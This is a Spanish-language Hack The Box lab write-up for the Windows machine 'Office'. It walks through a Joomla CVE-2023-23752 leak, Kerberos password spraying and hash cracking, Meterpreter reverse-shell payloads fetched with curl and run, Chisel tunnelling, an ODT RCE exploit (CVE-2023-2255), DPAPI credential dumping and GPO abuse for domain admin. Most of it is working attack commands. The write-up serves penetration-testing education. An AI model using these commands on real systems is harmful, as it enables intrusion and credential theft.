---
description: https://app.hackthebox.com/machines/Office
---

# HTB - Office

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F59PmKX2oOTftiyjJEebm%2FOffice.png?alt=media&#x26;token=8b9ee019-3dbd-4d8b-a089-6e351a136aad" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina: Office**
* **IP de la Máquina:**  10.129.230.226
* **Sistema Operativo: Windows**
* **Dificultad: Hard**
* **Fecha de Publicación: 17 Feb 2024**



***

## Enumeration

### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.129.230.226 -R
```

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FizzSAG6RiTKKQrb1HpaZ%2Fimage.png?alt=media&#x26;token=f7e82545-255e-444b-88a2-9727effb4cff" alt=""><figcaption></figcaption></figure></div>

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la máquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. <mark style="color:yellow;">**Windows establece por defecto el valor de TTL de sus paquetes IP en 128**</mark>, que al pasar por un salto en la red se decrementa a 127.

### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.230.226 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FUvU0t0tDzzf46VMie2yR%2Fimage.png?alt=media&#x26;token=65852706-e7aa-447f-840b-42a90c4bfda5" alt=""><figcaption></figcaption></figure>

### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -pPORTS 10.129.230.226 -oN targeted
```

```bash
# Nmap 7.94SVN scan initiated Mon Apr  1 00:23:34 2024 as: nmap -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389,49664,49668,61823,61836,61855 -sCV -oN targeted 10.129.230.226
Nmap scan report for 10.129.230.226
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-01 12:23:46Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
61823/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
61836/tcp open  msrpc         Microsoft Windows RPC
61855/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-04-01T12:24:41
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  1 00:25:19 2024 -- 1 IP address (1 host up) scanned in 104.80 seconds
```

### Modificando /etc/hosts

Para añadir la entrada "10.129.230.226 office.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

{% code overflow="wrap" %}
```bash
echo "10.129.230.226 dc.office.htb office.htb  " | sudo tee -a /etc/hosts
```
{% endcode %}



### Enumeration en Joomla

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FznXcTjFfv9CjL3pVjCml%2Fimage.png?alt=media&#x26;token=43e38542-513b-4f97-a909-41b7aa254037" alt=""><figcaption><p>office.htb/robots.txt</p></figcaption></figure></div>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FoiKXO6JHTtVYbPFzNMza%2Fimage.png?alt=media&#x26;token=59fea7c9-4b07-46c4-8111-8cd401d65f5d" alt=""><figcaption><p><a href="http://office.htb/Administrator/manifests/files/joomla.xml">office.htb/Administrator/manifests/files/joomla.xml</a></p></figcaption></figure>



### Explotación de CVE-2023-23752

Entonces podemos ver que se trata de Joomla 4.2.7,  y en Google encuentro esto: [CVE-2023-23752 - Joomla Improper Access Check](https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT).

```
http://office.htb/api/index.php/v1/users?public=true
http://office.htb/api/index.php/v1/config/application?public=true
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F9qS7IHHP47aw8qMYdwYD%2Fimage.png?alt=media&#x26;token=8e671221-e84b-4345-96c5-b3b0db4f3941" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F1QHvGDe5acXH9vLx8ekv%2Fimage.png?alt=media&#x26;token=20c0b32a-c067-4e8a-8e45-299f878cc21b" alt=""><figcaption></figcaption></figure>

En este WriteUp puedes encontrar más información de este CVE. [htb-devvortex](htb-devvortex "mention")



### Descubrimiento de Usuarios / Password Bruteforce

Podemos utilizar kerbrute y ver si encontramos algunos usuarios, para luego ver a cual de ellos le corresponde la contraseña que encontramos.

```bash
kerbrute userenum --dc dc.office.htb -d office.htb -t 2000 /usr/share/seclists/Usernames/xato-net-10-milion-usernames.txt -o users
kerbrute passwordspray -d office.htb --dc dc.office.htb users H0lOgrams4reTakIng0Ver754!
```

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FRqEcFXAp51wbGiKV63t1%2Fimage.png?alt=media&#x26;token=b854e888-7c63-4896-b95d-62efa8667ee9" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FEgJ6gS2XcpFaFAyYTRvT%2Fimage.png?alt=media&#x26;token=346124af-32d0-4ecb-b3b1-f85ce647de61" alt=""><figcaption></figcaption></figure></div>

```bash
crackmapexec smb office.htb -u users -p 'H0lOgrams4reTakIng0Ver754!'
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F5pE5yuvQ7H7laUptkSge%2Fimage.png?alt=media&#x26;token=8b5cc9fd-473c-421c-bd44-6fe1e7b7bad7" alt=""><figcaption></figcaption></figure>

```
dwolfe:H0lOgrams4reTakIng0Ver754!
```

###

### Cliente SMB (Impacket)

{% embed url="https://github.com/fortra/impacket" %}

<pre><code><strong>git clone https://github.com/fortra/impacket.git
</strong><strong>cd impacket/examples/
</strong><strong>python3 smbclient.py office.htb/dwolfe:'H0lOgrams4reTakIng0Ver754!'@10.129.230.226
</strong><strong>shares 
</strong></code></pre>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F5wD5OXlKtgxdOIEzCQ1x%2Fimage.png?alt=media&#x26;token=5d61423e-0696-4032-9ece-54ebbf5dff1f" alt=""><figcaption></figcaption></figure>

```
use SOC Anaysis
ls
get Latest-System-Dump-8fbc124d.pcap
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FqwcO3gTzZlvlSXPebaiI%2Fimage.png?alt=media&#x26;token=f08c8d66-4750-4546-b9d2-b8d3b61cbbcb" alt=""><figcaption></figcaption></figure>

### Obteniendo Kerberos Pre-Auth Packets con Wireshark

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FwEhJwlLSCsBpqItun3q4%2Fimage.png?alt=media&#x26;token=b47ad6b1-8842-426b-991b-2d152ddbb320" alt=""><figcaption></figcaption></figure>

Más informacion en [https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/](https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/).

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Ff7ZSqP63RdnVAHeW42BP%2Fimage.png?alt=media&#x26;token=954a01fb-2e1a-4829-94d9-35842203fc6e" alt=""><figcaption></figcaption></figure>

<pre data-overflow="wrap"><code><strong>echo '$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc' > hash.txt
</strong></code></pre>

```
hashcat -m 19900 hash.txt usr/share/wordlists/rockyou.txt
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F6H4eFRceCYdNqdtpVdMY%2Fimage.png?alt=media&#x26;token=88ed626c-c7f0-402c-bed3-fa9b4237c333" alt=""><figcaption><p>Password cracked!</p></figcaption></figure>

### Accedemos como Administrator en Joomla

```
office.htb/Administrator
Administrator:playboy69
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FKqjHvruHehzbpRD0tsC8%2Fimage.png?alt=media&#x26;token=c9baa57b-96e7-45cb-bb96-8afb7aced563" alt=""><figcaption></figcaption></figure>

Modificamos algún archivo para subir nuestra shell. En este caso yo subir un uploader y luego la shell.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FW3F0FTVTPgdDXKLSvnU9%2Fimage.png?alt=media&#x26;token=eaa47427-e7da-4043-8994-ebc885a9ea93" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FbDQfN7q4v8gXx9SmeMse%2Fimage.png?alt=media&#x26;token=21bd5fd2-e64f-4d75-8b73-92962101cac5" alt=""><figcaption></figcaption></figure>

### Meterpreter Reverse\_TCP Shell

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=6666 -f exe -o 6666.exe
python3 -m http.server 8888
```

```
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 6666
run
```

```
cd C:\xampp
curl 10.10.15.21:8888/6666.exe -o 6666.exe
6666.exe
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FCIJmXzvAXBTtAxvCxWbq%2Fimage.png?alt=media&#x26;token=fcc059c8-d883-4c02-952c-5553cba60951" alt=""><figcaption></figcaption></figure>



### RunasCs y Meterpreter Shell como Tstark

Lo que deseamos hacer es ejecutar mediante RunasCs nuestro 7777.exe, para que este se ejecute desde el usuario Tstark para así acceder a su cuenta.



{% embed url="https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1" %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F4JaZzX9BF0ePOTk4P4Cn%2Fimage.png?alt=media&#x26;token=2a6d218b-a6f7-4b52-b5a5-be5d7fa067f1" alt=""><figcaption></figcaption></figure>

<pre><code><strong>Import-Module ./Invoke-RunasCs.ps1
</strong>Invoke-RunasCs -Username tstark -Password playboy69 -Command "whoami"
</code></pre>

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
```

```
curl 10.10.15.21:8888/7777.exe -o 7777.exe
Invoke-RunasCs -Username tstark -Password playboy69 -Command "C:\xampp\7777.exe"
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FAk02B7BHJCqi1njmJrAB%2Fimage.png?alt=media&#x26;token=35e8675c-9a0c-4d08-a293-9bd44214a249" alt=""><figcaption></figcaption></figure>



### Port forwarding con Chisel

Deseamos acceder a la ruta 127.0.0.1:8083 de la máquina Windows desde nuestra máquina Kali Linux\
para ello debemos redireccionar:

10.10.15.21:7777  -> 127.0.0.1:8083

Entonces cuando accedamos a 127.0.0.1:8083 desde Kali Linux accederemos al contenido de la máquina Windows.

{% embed url="https://github.com/jpillora/chisel" %}

{% code title="Kali Linux Machine" %}
```bash
python3 -m http.server 8888
```
{% endcode %}

{% code title="Windows Machine" %}
```batch
curl 10.10.15.21:8888/chisel.exe -o chisel.exe
chisel.exe client 10.10.15.21:7777 R:8083:127.0.0.1:8083 
```
{% endcode %}

{% code title="Kali Linux Machine" %}
```bash
./chisel server -p 7777 --reverse
```
{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FpIc33yRYJHakzUOE5MD6%2Fimage.png?alt=media&#x26;token=3b767bca-6da0-4336-ad45-f73aadd5dc08" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FwlKb1oSf56HR9KLw4L0q%2Fimage.png?alt=media&#x26;token=338e6b02-b12a-4e3f-9a85-9eea8d767eaa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FPjS296gqgSlBNbLUmab2%2Fimage.png?alt=media&#x26;token=befae2cb-dbe2-470d-971c-886c0f0cd767" alt=""><figcaption></figcaption></figure>



### RCE con ODT File (CVE-2023-2255)

Lo primero que vamos a hacer es crear nuestro 9999.exe y enviarlo al servidor victima (descargandolo con curl). Para luego que este sea ejecutado por el archivo odt.

{% code title="Kali Linux Machine" %}
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
```
{% endcode %}

{% code title="Windows Machine" %}
```batch
curl 10.10.15.21:8888/9999.exe -o C:\Users\Public\9999.exe
```
{% endcode %}

{% embed url="https://github.com/elweth-sec/CVE-2023-2255" %}

{% code title="Kali Linux Machine" %}
```bash
git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'C:\Users\Public\9999.exe' --output '3ky.odt'

```
{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FHUkMbeXZAR4RwOFWnTWD%2Fimage.png?alt=media&#x26;token=696cf5d6-5b50-496e-987c-a129fb03f743" alt=""><figcaption></figcaption></figure>

Lo siguiente es enviar el archivo \*.odt en el formulario para que este sea "ejecutado" en la máquina victima.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FvudhPlVA1KcN5GRiZ3LT%2Fimage.png?alt=media&#x26;token=e89d247d-49fb-4d7a-8fab-dd4f8c275716" alt=""><figcaption></figcaption></figure>

Después de unos minutos se abre la sesión exitosamente, ahora tenemos acceso a office\ppotts :wink:.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fs2t4HJ82cCL8kEHFldYS%2Fimage.png?alt=media&#x26;token=0bbed7d9-4ff3-4e18-b6d8-5fc4ab510843" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

```
vaultcmd /listcreds:"Windows Credentials" /all
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F4c02UnQh1DGReafyVNr2%2Fimage.png?alt=media&#x26;token=ac280b50-15e7-4948-b737-131cc56beb41" alt=""><figcaption></figcaption></figure>

```batch
dir /a:h C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F1b1MjfEEOkACHkwO8IWE%2Fimage.png?alt=media&#x26;token=daf6d75d-491e-4cf4-bfcd-ae09e717aa8b" alt=""><figcaption></figcaption></figure>

```batch
dpapi::cred /in:"%appdata%\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\E76CCA3670CD9BB98DF79E0A8D176F1E"
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F9dcGsvSFWLLuir9TGhyL%2Fimage.png?alt=media&#x26;token=7beceea7-e9f9-4d1d-9efb-41ac15f07480" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FgHHyJEYVlaRMavvDAOZ0%2Fimage.png?alt=media&#x26;token=90e9f935-369d-4432-9f9f-7eea32a24832" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FujjhkCZteX0y13OM1dXs%2Fimage.png?alt=media&#x26;token=a691b8ab-4a31-4dd2-a8c6-7ab6574bb36a" alt=""><figcaption></figcaption></figure>

### Obtener SID (Security Identifier)

```powershell
Get-ChildItem C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\PPotts\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\{SID}
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FWBntca74l1dPajMFtSU0%2Fimage.png?alt=media&#x26;token=0dec310a-fdef-4890-8b0f-2a2e718e5774" alt=""><figcaption></figcaption></figure>

Ahora utilizamos nuestro SID y nuestro GuidMasterKey:

```
dpapi::masterkey /in:C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FRJ2rSymgELmmII4JA2A9%2Fimage.png?alt=media&#x26;token=18e5fdff-3a99-4902-b4d1-bfffc54b3b43" alt=""><figcaption></figcaption></figure>

```
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4/ masterkey::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FEBDuW7vSYff3ZMH3z3DS%2Fimage.png?alt=media&#x26;token=dcdc802d-5ae1-4fdf-abc5-54e97af839ed" alt=""><figcaption></figcaption></figure>

### Evil-WinRM&#x20;

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FahYWWKCTSOOUrhD6Wj0I%2FCaptura%20de%20pantalla%202024-04-02%20001939.png?alt=media&#x26;token=b084dcac-7e19-4540-8a14-066d05c6af06" alt=""><figcaption></figcaption></figure>

```
Get-GPO -All | Select-Object -ExpandProperty DisplayName
```

### GPO Abuse con SharpGPOAbuse

{% embed url="https://github.com/byronkg/SharpGPOAbuse" %}

Primero descargamos el ejecutable SharpGPOAbuse.exe y lo descargamos en la máquina Windows.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FIiK3lm6b9lnueuUqyBAz%2Fimage.png?alt=media&#x26;token=0797c62f-1714-417f-98be-6db6b4f15474" alt=""><figcaption></figcaption></figure>

```
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
gpupdate /Force
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FrDesHTCSeuBlZlPENSLx%2Fimage.png?alt=media&#x26;token=4ae7f247-21a0-4bbc-b1d4-13e7dc3ca38e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FBKix50LgRqXx8VfTsrd2%2Fimage.png?alt=media&#x26;token=63143f35-27c6-4e6a-937c-209c229d32c8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FcLtzuoct5imGOss3C3ly%2Fimage.png?alt=media&#x26;token=0a524045-6a0d-4e18-b537-0d404c4b4c6f" alt=""><figcaption></figcaption></figure>
